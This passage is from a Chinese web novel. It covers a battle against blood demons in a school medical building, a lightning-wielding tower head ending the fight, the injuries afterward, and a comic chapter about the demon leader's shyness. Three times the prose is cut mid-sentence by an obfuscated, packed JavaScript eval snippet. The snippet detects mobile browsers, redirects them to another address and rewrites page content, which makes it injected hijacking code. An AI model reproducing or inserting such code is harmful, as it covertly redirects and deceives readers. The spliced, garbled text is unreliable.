“陆燃,往左前方三步,弯腰。” 不知何时,她已经从沙发后站起,背靠着室内唯一相对完好的墙壁。苏清寒眼底所有情绪都已经消失了,此时的她冷漠得可怕。 陆燃正被玻璃碎片和扑击的血魔夹击,听到指令的瞬间,他没有丝毫犹豫,甚至没有思考为什么。 左冲,三步,俯身。 呼啸的玻璃雨从他头顶掠过,火焰鞭也因林砚的干扰打了个空。 几乎同时,那个刚从地上爬起、正欲扑杀的血魔,也冲到了陆燃原先站立的位置。本想以血换血拼着自己受伤也要限制陆燃,却只将自己结结实实地送进了碎片的覆盖范围。 皮肉被玻璃碎片划开,鲜血飞溅,爆炸的余音掩盖住了他的惨叫,但林砚看到那血魔趴在地上颤抖,全场血魔因此攻势骤乱。 巧合? 不。 林砚的大脑也在飞速处理这些信息。 他看到了,玻璃碎片最初的飞行轨迹、陆燃移动后的位置、那个血魔爬起时的发力方向……如果将这些变量像线条一样在空中绘制出来,苏清寒指令指向的那个点,正是唯一能让三条线在时间差上完美错开的交点。 她算出来的。 几乎是同一秒,苏清寒的第二道指令砸向赵铁心: “赵铁心!右后侧柜子,撞!” 赵铁心刚把一个血魔撞飞,正面对眼前摇晃的对手。听到指令,他吼了一声,根本不管身后是否另有危险,拧身,用肩膀全力撞向旁边还在燃烧中的档案柜。 “哐——!!” 巨响中,柜子产生了严重变形。柜子后面,一个原本借着遮挡,试图绕向陆燃侧后方视野盲区的血魔,被这突如其来的撞击撞得趔趄后退,偷袭计划瞬间破产。 “白晓,现在,向后翻滚,躲到办公桌右下方。” “林老师,小心背后。” 无我明镜域开启后,源血高速燃烧带来的极致冷静中,她的大脑直接化作了最高效的战场处理器。五个血魔,他们肌肉发力的征兆、视线的落点、甚至他们呼吸的节奏,都被拆解成细碎的信息,涌入她此刻超越极限的大脑。 结合他们所有的已完成动作,苏清寒能推演出接下来0.5秒内的无限种可能。 然后,给出最优解。 所有人都在第一时间照做。 林砚趁此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但这里还有个完全没有战斗能力的白晓需要人留神保护! 操控物体的血魔再次抬起了手。 苏清寒瞳孔瞬间收缩。 “无我明镜域”高速运转,极致冷静将她与情绪和噪声通通隔离开来,只留下源源不断往大脑输入的待处理信息。她看到了太多细节,多到足以让普通人的大脑瞬间过载。 而她刚才,一直在处理这些海量信息,试图找出五个血魔看似杂乱实则相互呼应的攻击模式背后的逻辑。她看到了他们在刻意引导陆燃和赵铁心走位,看到了他们试图将战局拉向办公室中央,看到了他们攻击林砚时,似乎还在试图留有一线看似失误的余地。 在开启能力前,她一定还遗漏了什么东西。 要在这种时候开二阶吗?现在到了不得不这样做的时候吗? 直到此刻,直到血魔将目标锁定天花板上那盏摇摇欲坠的吊灯。 时间在苏清寒的感知里被拉长、拆解。 眼前的画面开始倒带,大脑基于现有信息开始超高速逆向推演。 画面一帧帧回溯。 爆炸发生,气浪冲入,玻璃碎片如雨。五个血魔从缺口突入,烟尘弥漫。 他们的动作…… 有个血魔在落地翻滚卸力的瞬间,手臂向上投掷了什么。那时所有人的注意力都被爆炸和突袭者吸引,连她的“无我明镜域”也才刚刚启动,优先处理的是最具直接威胁的闯入者本身。 那个投掷物很小,颜色暗沉,在警报红光和烟尘中几乎看不见。它划过一个短促的弧线,精准地嵌入了吊灯复杂金属枝杈的阴影深处,卡在了灯座与天花板连接处那已经裸露、噼啪闪着电火花的电线旁边。 然后,那个血魔才若无其事地加入战团。 红晶石。 灯炉的原理是什么? 利用红晶石的能量,在炼金法阵约束下释放强光高热。 如果没有法阵约束,直接让高纯度红晶石的能量在瞬间过载、暴走呢? 能量爆炸。 而高压电流冲击,正是便捷引爆红晶石的方式之一。 吊灯上那些裸露的、正在迸发电火花的电线…… 所有碎片在这一刻拼合完毕。 “头顶——吊灯后面有红晶石!!”苏清寒的声音猛地拔高,穿透了玻璃碎片的呼啸和火焰燃烧的噼啪声,“他们没有用完所有的红晶石!离开吊灯正下方!现在!!” 几乎在苏清寒喊出“红晶石”的同时,林砚的脊背发寒。 在苏清寒提醒之前,名为第六感的东西和系统的声音同时在他大脑里嗡鸣。 【砚宝!抬头!!躲开!!!】 当那个操控物体的血魔将手对准吊灯时,林砚的第一反应是荒谬。 区区一个金属吊灯,就算它砸下来,带着电,对上三个A级以上的沸血者也威力有限。陆燃的“赫炽炎衣”自带防御、赵铁心开启能力后□□强度跟怪物一样,甚至林砚自己在必要时也可以强行硬化表层血液来减伤。 这玩意儿充其量只能给他们带来点麻烦,绝对算不上致命威胁。 血魔们的战术配合显示出他们具备相当的战斗智慧,绝非莽夫。费尽心机,用灯炉炸开外墙,难道就为了最后用个吊灯砸人? 不对。 顺着系统的提醒,他抬头往上看去。 吊灯后面发着红光的是什么东西?! 答案在感知中尖啸。 红晶石! 灯炉爆炸的原理,去掉约束法阵,就是最简单粗暴的能量释放。在封闭空间内,如此近的距离…… 此刻,陆燃为了拦截扑向诊疗室门的血魔,正处在吊灯左下方,与那个被他锁定的毒爪血魔缠斗。赵铁心刚刚撞开档案柜,将偷袭者逼退,自己则位于吊灯右下方,背对着灯的方向。 而林砚自己,因为要掩护白晓进门,此刻正站在办公桌与诊疗室门之间,刚好相对来说距离吊灯更远一些。 房间太小了!赵铁心和陆燃的站位又如此集中,避无可避! 苏清寒的警告声此刻才完整地传入他的耳中,与他自己的发现严丝合缝地相互印证。 血魔的真正杀招,此刻才真正亮出。 金属扭曲断裂发出刺耳声响,紧接着是电流紊乱产生的爆鸣!天花板上,吊灯连接处迸发出耀眼的蓝白色电火花,瞬间照亮了下方每个人惊愕的脸。 但这不是结束。 在那璀璨到令人盲目的电光中心,红色光芒骤然亮起,起初只有针尖大小,随即如同大梦初醒般,在百分之一秒内膨胀,灼目的红光照亮了整间屋子!镶嵌在吊灯深处的红晶石,被狂暴的电流贯穿,压抑在内部能量终于在这一刻找到了宣泄的出口! 恐怖的能量波动如有实质,在吊灯炸裂的前一刻,先一步扩散开,连空气都像是因此发出不堪重负的嗡鸣,细小的尘埃被瞬间电离,化作细碎的闪光。 林砚的思维在极限速度下反而清晰得诡异。 跑? 来不及了。 能量爆炸的速度远超□□移动。陆燃的火焰外衣和赵铁心的□□防御或许能抗住一部分冲击,但绝对会重伤,而且爆炸很可能摧毁这间屋子,将白晓和苏清寒也卷入其中。 要怎么削弱爆炸带来的影响? 祸血凭依能影响血液,但对这种纯粹的能量爆炸…… 剩下的四个血魔,此时默契地分散开来,朝着边缘的苏清寒和白晓而去。 血魔们目的明确:现在,谁都别想离开。 50. 罡岚雷狱 时间好似在红晶石光芒爆发的临界点被拉长。 林砚的大脑还在处理“如何削弱爆炸”这个无解难题,身体因过度催动“祸血凭依”而微微发麻,鼻腔里再次涌上熟悉的铁锈味。 视野里,暴走的能量让周围空气呈现出水波般的扭曲纹路。 陆燃抬头,青色火焰包裹的脸上瞳孔骤缩。赵铁心往最近的苏清寒的位置赶去,试图用自己的躯体为她尽可能阻挡伤害,但强化后的身体在绝对的能量释放速度面前依然显得笨重。苏清寒靠着墙蹲下身体,蜷缩在自己、爆炸与家具三点一线的位置,尽量用肢体缩减伤害。而白晓才刚刚拉开门把手,回头时眼睛睁大,映满了那片代表毁灭的红光。 然后—— “你们好大的胆子!!!” 狂暴的、仿佛从虚空裂隙中凭空诞生的飓风,呼啸着从墙的破口处蛮横地灌入室内!原本只是寻常的夜色,骤然被一道接天连地的刺目蓝白电光撕裂!雷声轰鸣,恍若天空在咆哮。 房间里泛起的的静电令人皮肤发麻。飞散在地面的文件纸骤然立起,像是被无形巨手同时攫住,齐齐从地面弹起,被吸扯着浮在空中。它们不住地抖动,像受惊的鸟群即将振翅而飞。随后,它们沿着某种看不见的力场轴线开始旋转。 以吊灯正下方为轴心,诡异地螺旋状飞旋。 旋转的速度在短时间内便提升到肉眼难以捕捉的程度,牵连着卷起屋里其他的杂物,化作一片模糊的白色漩涡。有些纸张在内部不住摩擦,变得卷曲。 “噼啪……滋滋……” “滋啦——!!!!” 蓝色的电光,毫无征兆地迸发! 成千上万,细密如蛛网,璀璨如星河,电弧在纸屑间疯狂跳跃。 电离开始了。 电火花在纸屑间飞溅,眨眼间连成细密的电网,在纸与木的漩涡中跳跃。空气也被狂暴的电场强行撕裂,雷霆散发出的光芒压过了警报的红光,甚至连吊灯处即将爆发的红色能量都因它黯然失色。 那暴躁的毁灭洪流,才刚准备向着四面八方宣泄它的愤怒。 然后,这团由无数带电纸屑构成的蓝白色电球,中心猛地向内一凹,它就像是被无形的巨口咬住,被牵引着吸入其中。它剧烈地挣扎,试图抗拒一切,但在碾压性的蓝色电能面前,它的抵抗苍白无力。 它被吞噬了。 红晶石能量以肉眼可见的速度黯淡、消融在蓝光里,被蓝色电球分食、转化。蓝色电球的光芒在吞噬红光的过程中,以肉眼可见的速度变得更加炽烈、粗壮。细密的电弧膨胀成手指粗细的电蛇,弹跳变得更加狂野,发出的噼啪声连成一片震耳欲聋的爆鸣。 电球的体积还在不断膨胀! 令人心悸的红色光芒彻底消失了,只在吊灯里剩下枚白到近乎透明的褪色红晶石遗骸,证明它曾经存在过。 而这,仅仅是个开始。 悬浮在半空的电球,已经变成了一个直径接近三米、不断向外迸射着粗大电弧的恐怖能量聚合体,散发着让人皮肤刺麻、汗毛倒竖的电场。 突然地,电球分裂成手臂粗细的、宛如实质液态金属般的深蓝色锁链。被极度压缩的能量在空气里嗡嗡咆哮,在空中稍一停顿,随即以超越视觉捕捉的速度扑了出去! 目标—— 血魔。 扑向苏清寒的血魔们,动作僵在半空。他们的身体被两道雷电锁链拦腰缠住,蓝白交加的电浆瞬间爬满全身。身体在接触锁链的刹那就开始剧烈颤抖、冒烟,皮肤以肉眼可见的速度碳化、崩解。 “噗”地两声轻响,他们便化作两小蓬灰,簌簌飘落。 那个操控物体、引爆红晶石的血魔,脸上笑容甚至还没来得及转化为惊愕,就被一道光芒更为刺目的雷电锁链,从正上方垂直贯穿天灵盖。她张着嘴,眼神空洞,身体还保持着抬手施术的姿势,然后从头到脚,一寸寸化为飞灰。 最后两道锁链,分别扣在了仅剩的一男一女两个血魔的脖颈和腰腹处。锁链并未直接接触他们,但仅仅是在五厘米之外流动,其散发出的恐怖威压与辐射,就已经让他们皮肤起泡、头发卷曲。他们浑身剧烈颤抖,脸上露出痛苦的表情,却连一丝声音都发不出来。 风暴灌入,灭杀三人,禁锢两人。 整个过程,耗时不超过三秒。 不知何时,屋外已是大雨倾盆。 雨点砸在建筑残骸和地板上,嘀嗒声接连串起,洗刷了地上的鲜血。夜空中,一道道狰狞的闪电撕裂云层,短暂地照亮天际。 如此霸道的能力,蛮不讲理的威能! 所有人都认出了这是谁的能力。 在白塔,在整个沸血界,掌控着这标志性的、狂暴如天灾的雷电的人,只有一个。 罡岚雷狱! 白塔的塔主,白珍! 而现在,距离血魔炸毁外墙突入室内,才仅仅过去了两分多钟。 门框早已在爆炸中变形,一个身影出现在门口。 正是白珍。 现在的她,和平日里学生们熟知的那个拄着拐杖佝偻背,但慈祥又亲切的老太太截然不同。 白珍身上的衣袍无风自动,衣角因周身流动的电子而微微飘拂。双眼在此刻完全睁开,眸里仿佛有细小的雷霆在不断生灭。 此刻的她,更像是一位执掌权柄、杀伐决断的统治者,而非那个垂垂老矣的白塔塔主。 怒火在她眼中燃烧,在她周身尚未完全平息的电场中噼啪作响。 她的目光如电,先是极快地在房间里扫过,最后,落在了惊魂未定的陆燃、赵铁心、苏清寒,以及刚从诊疗室门边撑着站起的白晓身上。 当看到这四个被称为救世主小队的孩子,一个个身上带伤,居然出人预料地身处这核心的袭击现场时—— “轰——!!!” 前所未有的粗壮闪电劈落,将天地映得煞白,震耳欲聋的雷声几乎同时炸响,整栋小楼都在雷声中震颤。 室内,束缚着剩余两个血魔的雷电锁链,仿佛感受到了主人的无边怒意,锁链表面流淌的电浆颜色转向亮白,发出尖锐的啸音。距离牢笼较近的翻倒沙发边缘开始冒出青烟,空气也因此扭曲变形。血魔的皮肤大片大片脱落,露出下面鲜红的肌肉,又在高温下迅速碳化。一个血魔的头发化作飞灰,另一个血魔的眼睛流出血泪。 他们竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124251|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没死。 但他们也没有求饶。 白珍的目光这才转向被禁锢的两个血魔,眼神像是在看两堆肮脏的垃圾。 被锁链禁锢的男女血魔,早就意识到了自己的结局。他们勉强转动眼球,在极致的痛苦中对视了一眼。 然后,他们笑了。 那笑容扭曲、怪异,还有令人难以理解的疯狂。 男血魔的嘴角咧开,露出被电得焦黑的牙齿,女血魔布满血丝的眼睛弯起,像是在嘲弄什么。 “咔嚓。” “咔嚓。” 来不及阻拦,只听到两声清晰的,像是咬碎硬糖的声响,最后一丝生机随着嘴角溢出的黑色血液一同流逝。 他们的动作停滞了。 瞳孔扩散,灵肉分离,生机溃散。 至此,五个血魔全灭。 缠绕在他们身上的雷电锁链无声无息地消散在空气中,只留下两具焦黑尸体,随着重力倒下,瘫倒在地。 未等林砚对此感到叹息,就听到白珍说。 “这帮死不足惜的家伙!我那五个孩子的命啊!” 她的怒火远未平息,反而燃烧得更加猛烈。那双眼中,还有深切的哀恸和自责。 林砚心中一动,系统的提示音在他脑海中响起,补全了一切: 【事件回溯分析完成。】 【约四小时前,五名外出执行任务的五年级白塔小队在返程路上,于塔外三公里处失踪。失踪前未发出求救信息。】 【约两小时前,替代完白塔小队的血魔们,持完整身份识别码及生物特征通过正门安检。】 【该小队进入白塔后,以常规流程的进行身体检查为由,前往医务楼。】 【白塔的探测符文阵,主要针对炼金造物进行筛查。未经加工、未刻印炼金符文的原始材料不在需通报的异常名单内。血魔们携带的红晶石即属于此类。】 林砚问:为什么?为什么明知道红晶石能直接引发爆炸,为什么不把这个也放在排查内? 【主因是,红晶石产地唯一且由陆家掌握。】 【次要原因是,技术力不够。而且,红晶石激发前外貌类似红宝石,非专业人士难以分辨。】 【该小队抵达医务楼附近后,与外部接应血魔里应外合。外部血魔于医务楼与主校区之间的开阔地带引爆第一枚灯炉,制造混乱并吸引校内防卫力量注意。此后,与潜入内部负责执行的五名血魔接头,在医务楼外墙安装第二枚灯炉并引爆。】 【塔主白珍于第一起爆炸发生后,在其后的两分零六秒内,共计击杀在校园内不同区域制造混乱、试图牵制卫队的外部血魔七名。基于与血魔需求“林砚”活着及对你个人能力的评估,她判断医务楼内的威胁你有能力周旋,故优先处理对普通学生威胁更大的外部扩散点。】 【但塔主未预料到陆燃、苏清寒、赵铁心、白晓四人此刻皆在医务室与你在一起。此情况大幅提升了医务楼内战局的风险等级。】 【原谅我,砚宝。有些事情,我不能提早预警提醒你。】 系统沉默了一会儿。 【经检测,被替换的五名小队成员已全部死亡。】 51. 卧室不能住人了怎么办,急,在线等…… 这栋去年才翻新过的医务楼,大抵是又要重建了。 被炸开的外墙边缘还在冒烟,天花板塌陷了一部分,边缘露出扭曲的钢筋,办公室内部更是一片狼藉。碎玻璃、扭曲的金属、烧了一半的文件、翻倒的家具,混合着血魔化成的灰烬和几处已经发黑的血迹。 大楼不语,只是一味的承伤。 对林砚来说,最迫在眉睫的问题还得是—— 他家卧室漏风了。 卧室屋顶、连着部分外墙,一起在爆炸和雷暴中被开了天窗。夜风毫无阻碍地穿过那些破口,把他房间里的个人物品吹得七零八落。林砚刚才上去看了一眼,床铺已经被雨水浸湿了大半,灰黑色的雨水混合着天花板碎屑把屋内弄得脏兮兮的。 他现在住在塔主家里。 先前提到过,为了保护白塔的安全,白珍一般是不会离塔的。因此,白珍的家也在白塔附近,从家里步行去白塔不超过三百米就能抵达。 这事是白珍主动提出的。 给大家就地做完检查后,在场的六个人,看着废墟般的医务楼相顾无言。没人说话,激情战斗产生的肾上腺素消退后,疲惫感追了上来。 连林砚也感到很是疲惫。 从血魔突入到战斗结束,整个过程只有两分多钟,但那两分多钟里需要处理的信息量太大了。 敌人的位置、能力、意图,队友的状态、位置,可能的行动路径,可利用的环境因素,所有这些东西需要在同一时间处理、分析、做出决策。 林砚真的很好奇,苏清寒开启能力后到底是怎样的体验? 但他自己完全不想体验。 处理完塔内事故的周防锋,正好在这时赶来。 这位校卫队队长脸上还沾着灰,制服上多处划伤。他先是看了眼林砚,赶紧伸手抹了把脸。看着手上一手的泥灰,他放弃了。 周防锋转头快速扫了一眼现场状况和人员状态,确认无大碍后,转向白珍,开始汇报工作。 白珍静静地听完,末了,她问。 “学生伤亡情况如何?” “目前只发现死了一名二年级学生。在第一次爆炸时,他恰好在医务楼与主路之间的林荫道……” 白珍闭上眼,叹了口气。 “现场没有战斗痕迹,该学生在爆炸中当场死亡。我已经通知了他的家族。” 周防锋仔细端详着医务楼的状态。 “医务楼主结构受损,外墙、内部隔断、管线系统损毁严重。建筑材料出现了大面积晶化现象,需要整体更换。修复工程……”他估算了一下,“保守估计,完全修复并恢复使用至少需要三天。这还是在调用全部工程队并优先调配建材的情况下。” 白珍目光转向林砚。 “这几天,你先住我那儿。”她说,“楼修好之前,这里不能住人。” 林砚没有反对的理由,也没打算反对。 “好,麻烦您了。” 林砚没有矫情,直接应下。 白珍解释道:“你身份特殊,又是他们明确的目标,单独安排在其他地方我不放心。” “我去帮忙……”白晓小声开口,但话没说完就被白珍打断了。 “你回自己宿舍。”白珍看了她一眼,“接下来的事,交给大人处理。你需要休息。” 尽管林砚这边被打了个措手不及,但这次的袭击本就在预料内。单纯从人员伤亡数据来看,白塔的损失被控制在了相当有限的范围内。 唯一一个在校内死亡的倒霉学生,死因是恰好在当时路过了第一枚灯炉的爆炸现场。但早在封校时,白珍就预告过所有学生,要求他们不要在教学楼和训练室等指定的安全区域外闲逛。 但总有人心存侥幸,或者单纯就是没当回事。 就为此付出了生命的代价。 加上外出的五人小队,本次袭击中,白塔共计死亡六人,受伤三人。 这份数据里没有算上校卫队。 校卫队内部无人死亡,但受伤情况不在统计范围内。他们有自己的内部单独统计。 周防锋汇报时用了“轻伤十二人”这个说法,但林砚后面离开时,看到有个被被搀扶着离开的校卫队成员,从肩膀到手腕,他的整条右臂都裹着厚厚的绷带,绷带表面还渗出了血迹。 沸血者们对伤情的分类标准,可能和他理解的不太一样吧。 而统计内,受伤从重到轻人员分别是:陆燃、苏清寒、赵铁心。 陆燃受伤最重,原因非常简单。作为血魔的头号眼中钉,他在混战中承受了最多的攻击。林砚检查时看到他肩头、后背有好几处撕裂后被火焰瞬间灼烧封住的伤口,侧腰有被锐器划开的伤痕,左臂小臂骨也有轻微的骨裂。 林砚给陆燃做了应急处理,消毒水淋上来时陆燃一声不吭,只在挖掉身上死肉的时候皱起了眉。林砚用能力引导局部血液循环,加速伤口愈合,然后给他缠上了绷带。剩下的,靠他自身恢复力足以。 而赵铁心因为能力的原因,受伤最轻。唯一一道略微麻烦的伤口在侧腰,是被那个带毒的血魔划到的,但伤口只流于表面,那点微弱的毒性,已经被赵铁心自身的代谢清理得差不多了。 林砚只给伤口消毒包扎了一下,就完事了。 赵铁心还笑嘻嘻地说:“林老师手艺真好,一点都不疼。” 苏清寒又是怎么一回事呢?她可没有直接参与高强度肉搏。 她的伤势不浮于表面。 其他人走后,她才告诉林砚,说自己肩膀有些不适。 于是林砚单独给她做了个身体扫描。 检查结果出来后,林砚看着扫描图上显示的状况,沉默了两秒。 “呵。” 看完自己肩部骨骼的成像图,苏清寒发出了一声短促的冷笑。 林砚看着扫描图,对着图里苏清寒半裂开的肩胛骨,抽了抽嘴角,硬逼着自己没笑出来,努力维持住专业而严肃的表情。 这姑娘受的最严重的伤,来自陆燃那没怎么控制力度的一扑。 当时陆燃一手一个,把离他最近的赵铁心和苏清寒扑倒护在身下。皮糙肉厚、本身也是强化系的赵铁心挨了这一下,无事发生。 但生理上没那么耐造的苏清寒,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131891|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体结结实实撞在地上,直接被陆燃扑出了骨裂。 林砚关掉成像图,转向苏清寒,语气尽量平常:“骨裂不算严重,裂缝很小,骨骼没有发生移位。好好静养的话,下星期就能自然愈合,不会留下后遗症。要告诉陆燃吗?” 苏清寒却摇了摇头。 她活动了一下左肩,轻微的刺痛让她皱了皱眉,但表情很快恢复成平时的冷淡。 “算了,没必要。”她说,声音没什么波澜,“让他少点糟心事吧。” 事情就这么轻描淡写地过去了。 眨眼间,就忙到了次日午夜。 唯一遗憾的是,没能抓到活口。每一个被抓到的血魔,都不约而同地选择了自我了断,没有给白塔审讯获取情报的机会。 但往好了想,至少白晓预言里的袭击事件已经有惊无险地过去了。 白晓的预言里没有后续事件,白晓在离开前还小声告诉林砚,她暂时没有看到新的预知画面。这意味着,起码短时间内,他们会拥有一段相对和平的日子。 ……大概吧。 雨早就停了,夜空如洗,今夜连星星都变得稀疏。 作为塔主的白珍,此时还不能休息。她还在忙着处理后续事项,等会儿更是还有个沸血议会召开的临时会议要开。 她把林砚带到次卧,简单交代了几句,客厅里放着新拿来的洗漱用品和换洗衣物。白珍还没来得及喝口水,通讯器就再次震动起来。 “那群老家伙,消息倒是灵通。” 她看了一眼屏幕,脸上带着毫不掩饰的疲惫与厌烦。 “您先忙。” 林砚说。 真的很忙的白珍没再多说,匆匆转身离开,身影很快融入夜色。 屋内只留下林砚一人。 次卧是白晓帮忙收拾的。她在战斗中没能起到作用,为此心里满是愧疚。在林砚还在医务楼那边处理伤员和后续时,白晓独自偷偷前往白珍家里,精益求精地把次卧打扫得干干净净,然后默默地离开了。 林砚站在房间里,环顾四周。房间不大,但整洁干净,窗外是安静的庭院。比起医务处二楼那个现在漏风又漏雨的卧室,这里条件好太多了。 实话说,他现在没什么睡意。 身体很疲惫,但大脑还很清醒。 但他现在需要休息。于是林砚躺在床上,准备整理下身上的东西就闭眼睡觉。 这时,他发现,先前巴拉特委托耶洗别给他送来的通讯器里,有条未读信息。 发信人自然是巴拉特。 他用指尖按了一下,微光扫过,通讯器无声解锁。 林砚打开消息,里面写着: 「砚弟弟,晚上好。 身体有受伤吗?我没有把你的真实身份告诉他们,希望他们没有伤到你。 死亡是必经的终点站,他们不过是先我们一步到了站。不必为家人们的死亡而感到哀伤,早来过来之前,他们早已知晓自己可能会有去无回。 希望你的计划仍在平稳运行。 晚安,祝你有个好梦。」 林砚没有回复。 52. 萨麦尔历险记 身为血魔的首领,萨麦尔觉得自己是个非常靠谱的大家长。 他英俊——弟弟妹妹们都说他是最帅的哥哥!虽然他们可能只是在哄他开心,但耶洗别说过,大哥你不说话站在那里的时候,确实很有“忧郁贵公子沦落风尘”的破碎美感。 嗯,这应该是夸奖吧? 他多金——代代萨麦尔传承下来的小金库里富得很呐!虽然具体有多少钱、钱在哪、怎么花,大部分时候都是巴拉特在打理,但他知道自己是很有钱的!这就够了! 他靠谱——虽然弟弟妹妹们一般会选择找巴拉特,但所有最后找到他这里的、巴拉特处理不了或者需要他拍板的大事,他也全部都帮他们解决掉了!从无纰漏! 他强大——这一点毋庸置疑。除了白塔的那个死老太婆,在一对一单挑上,他能把所有人、包括那些狗屁家主,全都压着打!虽然他不太喜欢打架,但必要的时候,他会让敌人知道什么叫绝望。 硬要说他的缺点…… 那就只有怕生这一点了。 听起来很让人难以置信。 萨麦尔,这个令整个沸血界闻风丧胆的血魔首领,动动手指就能引发骚乱和恐慌,光是听到他的名字就能止小儿夜啼。 但事实就是: 萨麦尔有严重的社交恐惧症。 一想到要和陌生人对话、对视甚至接触,他的胃就会开始抽搐,手心冒汗,呼吸不畅。别说沸血者了,就是跟自家那些兄弟姐妹们待得时间长了,也会让他感到难以言喻的焦虑和想要逃离的冲动。 哪怕站在他旁边的,是打小就崇拜他的亚巴顿,也不会有所改变。 所以,当巴拉特用那种带着微妙笑意的语气告诉他:“我们可能有个流落在外的、非常特殊的弟弟,他叫林砚,现在就在白塔,需要引导和接触。” 萨麦尔的第一反应不是好奇,而是眼前一黑。 新的弟弟? 在白塔? 需要接触和引导? 意思是他得亲自去? 能不能派耶洗别去?或者写封信?托梦也行啊! 但巴拉特强烈要求的事情,哪怕话说得再温柔,也是不可置疑的。 “大哥,我觉得你应该去见见他。”巴拉特的声音透过通讯器传来,语气是一贯的柔和,“毕竟你是大家长嘛,新家人回家,总得见见家长,对不对?毕竟,您是最靠谱的大家长,不是吗?” 萨麦尔捏着通讯器,半天没吭声。 直到巴拉特以为信号不好“喂”了好几声,他才用近乎气音的声音挤出一个“嗯”。 然后,这件事就像一块沉重的大石,压在了他心头半个月。 逃避是没有用的。 他是所有血魔的哥哥,是大家的首领。 新生的弟弟在外面,还没接受过家里带来的温暖,需要他来接引,他来接纳。 巴拉特说得对,这是身为大家长的责任。 于是,做了长达半个月的心理建设后,萨麦尔终于行动了。 带着耶洗别帮忙做的伪装,萨麦尔静悄悄地从旅馆的床上蠕动着爬起。 他小心翼翼地、用最慢的速度完成洗漱,对着镜子检查了好几遍伪装是否妥帖,确保每一根白发都被妥帖地藏在帽子里,耶洗别做的假面也有妥帖地覆盖在脸上,没有起边或翘角。 然后,他像做贼一样,侧耳倾听门外走廊的动静,确认足足五分钟没有任何人声或脚步声后,才轻轻拧开门把手,闪身出去。避开了可能早起的旅馆服务员,悄悄地把房间钥匙放在前台的角落。 不要有人看到我…… 不要有人跟我说话…… 压制住自己的气息,保持着近乎为零的存在感,避开大早上的街道里稀少的活人,萨麦尔悄悄地离开了长渡。 直到彻底远离城市,步入郊外无人的荒野小径,萨麦尔终于摘掉了身上的伪装,露出了真容。 野生的忧郁美青年出现了! 多么完美的、如同古典雕塑一般的脸啊!在阳光的照耀下,让美术生看了能连画十来张素描! 轮廓深邃,鼻梁高挺,浓眉大眼,下颌线干净利落,常年不见阳光使他的皮肤变成了天然的冷白色,苍白到有些病态。 但最引人注目的是他的眼睛。眼窝微陷,睫毛浓密又纤长,灿金色的眼珠中,有着血红的瞳仁,仿佛两滴凝固的鲜血嵌在了熔化的黄金之中。 眼眸的下方,沿着颧骨的曲线,蜿蜒着两条血色纹路。那是血蚀带来的印记,只是放在他的脸上,乍一看,竟像是两道永远流淌不止的血泪。挂在他苍白的脸上,为他英俊的容貌平添了几分妖艳。 白色的褶边衬衫与黑色束腰长裤,松垮地覆盖住他饱满的肌肉。白色的长发一直垂到腰际,发尾带着自然而微卷的弧度。头发在接近发梢的位置悄悄变了些颜色,从胸部往下,逐渐过渡成形同冰晶的淡蓝色。 哪怕有这如此得天独厚的一张脸,他似乎也永远无法舒展开眉头。 这忧郁感像是烙印在他脸上般挥之不去。萨麦尔的眉头习惯性地蹙着,在眉心留下一道浅浅的竖痕,金色的眼眸里沉淀着化不开的倦怠。配上他苍白的脸色和眼下淡淡的阴影,看起来有种脆弱的、让人忍不住心生怜惜的虚弱感。 可若仔细感受,便能察觉那完全不纤瘦的身躯下隐含的、如同沉睡火山般令人心悸的力量波动。 萨麦尔抿着嘴唇,金色的血瞳里盛满了显而易见的忧郁和…… 紧张。 萨麦尔对着空气喃喃自语。 “相信自己啊萨麦尔亲,你可以的,前面不远就是白塔了,不过是去认识一下新的弟弟!你可是做哥哥的,不能连自己的新弟弟都不去见一面啊!” 他右手攥拳,狠狠握紧,上下挥动着给自己打气,动作有点僵硬。 “你可以的,萨麦尔!你可是血魔的希望!鼓起勇气来!你只是去看弟弟,又不是赴刀山下火海!” 虽然这话说出来他自己都不太信。 赴刀山下火海可能还简单点,至少不用跟人进行复杂的社交互动。 但萨麦尔真的有在努力了。 起码,他现在还在死命地用另一只手掐着大腿,用疼痛来驱散脑海里不断盘旋的“要不算了回去吧”、“让巴拉特去好了”、“弟弟说不定也不想见我”之类的退缩念头,逼自己朝白塔的方向挪动脚步。 哪怕以他超S的血统等级,他的腿也被掐青了。 半小时过去了。 萨麦尔停下脚步,回头望了望,又看了看前方似乎没有任何变化的道路景色,沉默地估算了下。 距离长渡,他大概迈出了—— 一百米。 痛定思痛,强忍住立刻打退堂鼓,给巴拉特发消息谎称生病的欲望,萨麦尔深吸一口气,决定改变策略。 ——对!没错! 他心想,眼睛微微亮起。 侧压腿,弓步压腿,转动脚踝! 萨麦尔动作标准,神情专注,仿佛在进行某种重要的战前准备。 一定是我的热身运动做的太差了!肌肉没有活动开,关节不够灵活,所以才走得这么慢。林砚弟弟你且再稍等片刻,想必你也不希望哥哥我路才走了一半,就因为热身不足而摔倒吧?大丈夫不打没准备的仗,你且再慢慢等我一会儿,哥哥很快就到! 真的! 很!快!就!到! 等他觉得身体充分热开,再也找不到拖延的理由时,天色已经近午。 